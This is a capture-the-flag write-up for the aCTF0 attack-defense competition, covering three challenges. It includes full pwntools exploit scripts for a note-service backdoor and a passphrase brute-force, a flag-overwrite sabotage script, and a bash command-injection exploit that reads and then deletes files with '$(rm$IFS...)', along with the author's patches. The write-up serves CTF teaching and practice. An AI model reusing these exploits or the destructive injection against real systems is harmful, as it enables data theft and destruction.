--- tags: public --- aCTF0 Writeup === {%hackmd theme-dark %} Hello, this is marche147 from [Red Reboot](https://yugipedia.com/wiki/Red_Reboot). I participated in aCTF0 and luckily got first place. This is a simple writeup for the CTF, and not everything is explained in detail. Anyway, I hope you enjoy the rest of this writeup. >[TOC] ### babyservice This challenge is a simple note service written in Python, which allows the user to perform the following operations. * `Name a baby` (1): Create a note with random ID and passphrase, the user can specify the content of the note. * `Get the name of a baby` (2): Read the content of a note. The user need to know the passphrase of the note. * `Exit` (3) Additionally, there is a backdoor in the script, allowing one to read the note without knowing the passphrase. To exploit the backdoor, we need to know the `flag_id` provided by the platform API: ```python= #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * from swpag_client import Team from IPython import embed import time t = Team("http://actf0.cse545.io/", "REDACTED") def backdoor_exp(host, baby_id): p = remote(host, 10002) flags = [] try: p.recvuntil('(1-3): ') p.sendline('4') p.sendlineafter('ID?\n', baby_id.encode()) while True: flag = p.recvline().strip() if flag.startswith('FLG'): flags.append(flag.decode()) if 'Enjoy this backdoor' in flag: break except: pass p.close() return flags while True: for target in t.get_targets(2): b = target['flag_id'] h = target['hostname'] try: flags = backdoor_exp(h, b) print(flags) t.submit_flag(flags) except: pass time.sleep(30) ``` To patch this issue, just comment out the backdoor function. Another problem that arises from the script is weak password: Looking at the `name_a_baby()` function, we can see that the passphrase is only 3 digits. So it's viable to bruteforce the passphrase over the network environment: ```python= #!/usr/bin/env python3 # -*- coding: utf-8 -*- from pwn import * from swpag_client import Team from IPython import embed import tqdm t = Team("http://actf0.cse545.io/", "REDACTED") context.log_level = 'ERROR' def backdoor_exp(host, baby_id): p = remote(host, 10002) flags = [] try: p.recvuntil(b'(1-3): ') p.sendline(b'4') p.sendlineafter(b'ID?\n', baby_id.encode()) while True: flag = p.recvline().strip() if flag.startswith(b'FLG'): flags.append(flag.decode()) if b'Enjoy this backdoor' in flag: break except: pass p.close() return flags def bruteforce_exp(host, baby_id): flags = [] try: for i in tqdm.trange(1000): p = remote(host, 10002) p.sendlineafter(b'(1-3): ', b'2') p.sendlineafter(b'ID: ', baby_id.encode()) p.sendlineafter(b'Passphrase:', '%03d' % i) data = p.recvline() if 'Error' in data: p.close() continue flag = data.strip().split()[-1] flags.append(flag) p.close() break finally: pass return flags while True: for target in t.get_targets(2): b = target['flag_id'] h = target['hostname'] if h == 'team1': continue flags = backdoor_exp(h, b) if len(flags) > 0: print 'Skipping %s' % h continue print 'Attacking %s' % h try: flags = bruteforce_exp(h, b) print 'Found!:\n', flags t.submit_flag(flags) except: pass ``` To patch this issue, we can increase the complexity of the password. I used the combination of 10 ASCII letters (`[0-9a-zA-Z]`). The final patch applied to the service: ```diff= diff --git a/babyservice b/babyservice.patched index 77c439f..2a17f96 100755 --- a/babyservice +++ b/babyservice.patched @@ -17,7 +17,7 @@ def name_a_baby(): sys.stdout.write("Please name this baby: ") baby_name = input().strip(" \n") - passphrase = ''.join(random.choice(string.digits) for _ in range(3)) + passphrase = ''.join(random.choice(string.ascii_letters) for _ in range(10)) file_path = os.path.join(RW_DIR, baby_id + "_" + passphrase) with open(file_path, "w") as f: @@ -80,8 +80,6 @@ def serv(): elif choice == "3": print("Bye-bye!") return - elif choice == "4": - backdoor() else: print("Invalid choice. Try again.") return ``` ### welcome Using any decompiler to decompile the program, we can see that the logic of the executable is very straightforward: ```c int service_example() { char *v0; // [bp-0x13] unsigned long long v1; // [bp-0x10] unsigned long long v15; // rax unsigned long long v18; // fs puts("Welcome to the welcoming service. "); puts("This service is unpatchable. Do not bother patching this service."); puts("Your goal is to find the backdoor, write an exploit for it, and exploit as many teams as possible."); puts("What do you want to do today? (r)ead a note | (w)rite a note."); fflush(__TMC_END__); v15 = fgets(&v0, 0x3, stdin); if (v15 == 0) { return v1 ^ *(v18:40); } else if (v0 == 0x72) { printf("I'm sorry, there are no notes available in the system\n."); return v1 ^ *(v18:40); } else if (v0 == 0x77) { printf("I'm sorry, note storage service is currently offline.\n."); printf("Please try again in five hours.\n."); return v1 ^ *(v18:40); } else if (v0 == 0x42) { printf("Oh you find the backdoor! Here is your flag: "); print_flag(); putchar(0xa); return v1 ^ *(v18:40); } else if (v0 == 0x53) { store_flag(); return v1 ^ *(v18:40); } else { puts("Unsupported command"); return v1 ^ *(v18:40); } } ``` There are four commands supported by the program: * `r`, `w`: Dummy commands. * `B`: Print the flag. * `S`: Store the flag. In order to get flag from the service, we simply need to connect to the service and type `B`. The strings in the challenge tells that it is unpatchable so patching out the `B` command leads to a service down. It seems that's the all for the challenge, but I happened to find out that this challenge is much more interesting by abusing the `S` command. #### All downed but me Presumably the `S` command is used by the platform to distribute the flags, but without any kind of permission check, we can use it to overwrite the flag file too! At the beginning I just wanted to prevent other teams from gaining flag points from this service, but overwriting the flag also breaks the SLA check for the service. One important way to gain points is to maintain the service as all the points from the team that has a downed service goes to those who has their service up, so breaking other teams service definitely granted me a lot of points. The final exploit: ```python= #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * from swpag_client import Team from IPython import embed t = Team("http://actf0.cse545.io/", "REDACTED") def backdoor_exp(host): p = remote(host, 10001) flags = [] try: p.sendlineafter('note.\n', 'B') data = p.recvline() flag = data.split()[-1] if flag.startswith('FLG'): flags.append(flag) except: pass p.close() return flags def decimate_exp(host): p = remote(host, 10001) flags = [] try: p.sendlineafter('note.\n', 'S') p.sendline('FLGxxxxxxxxxxxx') except: pass p.close() return flags while True: for target in t.get_targets(1): h = target['hostname'] if h == 'team1': continue try: flags = backdoor_exp(h) print(flags) t.submit_flag(flags) decimate_exp(h) print('Target neutralized.') except: pass time.sleep(30) ``` #### Another plot-twist Though the challenge stated that it's "unpatchable", you can still modify the binary as long as it has `B` and `S` commands available. One hour before the game ends, some other team find out that it's possible to abuse the `S` command. They tried to bring my service down and I lost some points indeed. But it seems that they are using a static string `FLGxxxxxxxxxxxx` as the new flag, so I created a small patch to filter the string (this script is a patch script used by a binary patching tool called [patchkit](https://github.com/lunixbochs/patchkit), I'm using a private fork of this tool with support of some other features): ```python= def patch(pt): checker = pt.inject(c=''' void check(char* str) { DEFINE_STRING(forbid, "FLGxxxxxxxxxxxx"); DEFINE_STRING(forbid2, "FLGiOLIIVxYHPayn"); // another payload I guess? if(strlen(str) != 16) { exit(0); } if(str[0] != 'F' || str[1] != 'L' || str[2] != 'G') { exit(0); } if(strcmp(forbid, str) == 0) { exit(0); } if(strcmp(forbid2, str) == 0) { exit(0); } return; } ''') scanf = 0x11b0 trampoline = pt.inject(asm=''' push rsi call 0x%0x pop rdi jmp 0x%0x ''' % (scanf, checker)) pt.patch(0x141c, asm=''' call 0x%x ''' % (trampoline)) return ``` This patch kept my service up for a few rounds and I was able to gain some extra points. ### configurations This is a configuration tool written in `bash`. It allows the user to: * Declare a variable in the current configuration. * View all configuration variables. * Save (resp. Load) a configuration to (resp. from) a file. The problem lies in the use of `source` command. `source` command executes the given script file, but the input from the user can be malicious (i.e., command injection). If we define a variable with content like `$(ls)`, the content will be executed by the interpreter. The goal is to read the content of the configuration file sent by the platform. In order to achieve this goal, we can execute `cat /home/chall/service/rw/*` to read all configurations and get the flags from the result. However, we can't use space when declaring variables since the space will separate the command and the separated part will be treated as another argument to `declare`. To solve this, we can use `$IFS` to replace space. The exploit: ```python= #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * from swpag_client import Team from IPython import embed import re t = Team("http://actf0.cse545.io/", "REDACT") def injection_exp(host): p = remote(host, 10003) flags = [] try: p.sendlineafter('> ', 'd') p.sendlineafter('> ', 'e') p.sendlineafter('> ', '$(cat$IFS/home/chall/service/rw/*)') p.sendlineafter('> ', 's') fn = p.recvline().strip().split()[-1].rstrip('!') p.sendlineafter('> ', 'l') p.sendlineafter('> ', fn) p.sendlineafter('> ', 'v') p.recvline() data = p.recvuntil('[*]') print(data) flag = re.findall('FLG[a-zA-Z0-9]+', data) flags += flag except: pass p.close() return flags def decimate_exp(host): p = remote(host, 10003) try: p.sendlineafter('> ', 'd') p.sendlineafter('> ', 'e') p.sendlineafter('> ', '$(rm$IFS/home/chall/service/rw/*)') p.sendlineafter('> ', 's') fn = p.recvline().strip().split()[-1].rstrip('!') p.sendlineafter('> ', 'l') p.sendlineafter('> ', fn) p.sendlineafter('> ', 'v') except: pass p.close() while True: for target in t.get_targets(3): h = target['hostname'] try: flags = injection_exp(h) print(flags) t.submit_flag(flags) decimate_exp(h) print("Target obliterated") except: pass time.sleep(3) ``` Like what I did in `welcome`, I also tried to prevent other teams from stealing the flag by deleting the configuration files containing the flag, which also resulted in breaking services and earning me ton of points. To patch this challenge, we need to prevent shell expansion from happening. I used single quotes `'` since there will be no string interpolation inside single-quoted string literals. The final patch: ```diff= diff --git a/configurations b/configurations.patched index 2c37f65..f84527e 100755 --- a/configurations +++ b/configurations.patched @@ -17,7 +17,7 @@ do echo "[*] The current configuration is:" for VARIABLE in $(compgen -v CONFIG_) do - echo "- $VARIABLE: $(eval echo \$$VARIABLE)" + echo "- $VARIABLE: ${!VARIABLE}" done ;; d*) @@ -34,7 +34,7 @@ do echo "[*] Saving configuration to $(basename $FILENAME)!" for VARIABLE in $(compgen -v CONFIG_) do - echo "$VARIABLE=$(eval echo \$$VARIABLE)" >> $FILENAME + echo "$VARIABLE=\$(echo '${!VARIABLE}')" >> $FILENAME done ;; l*) ```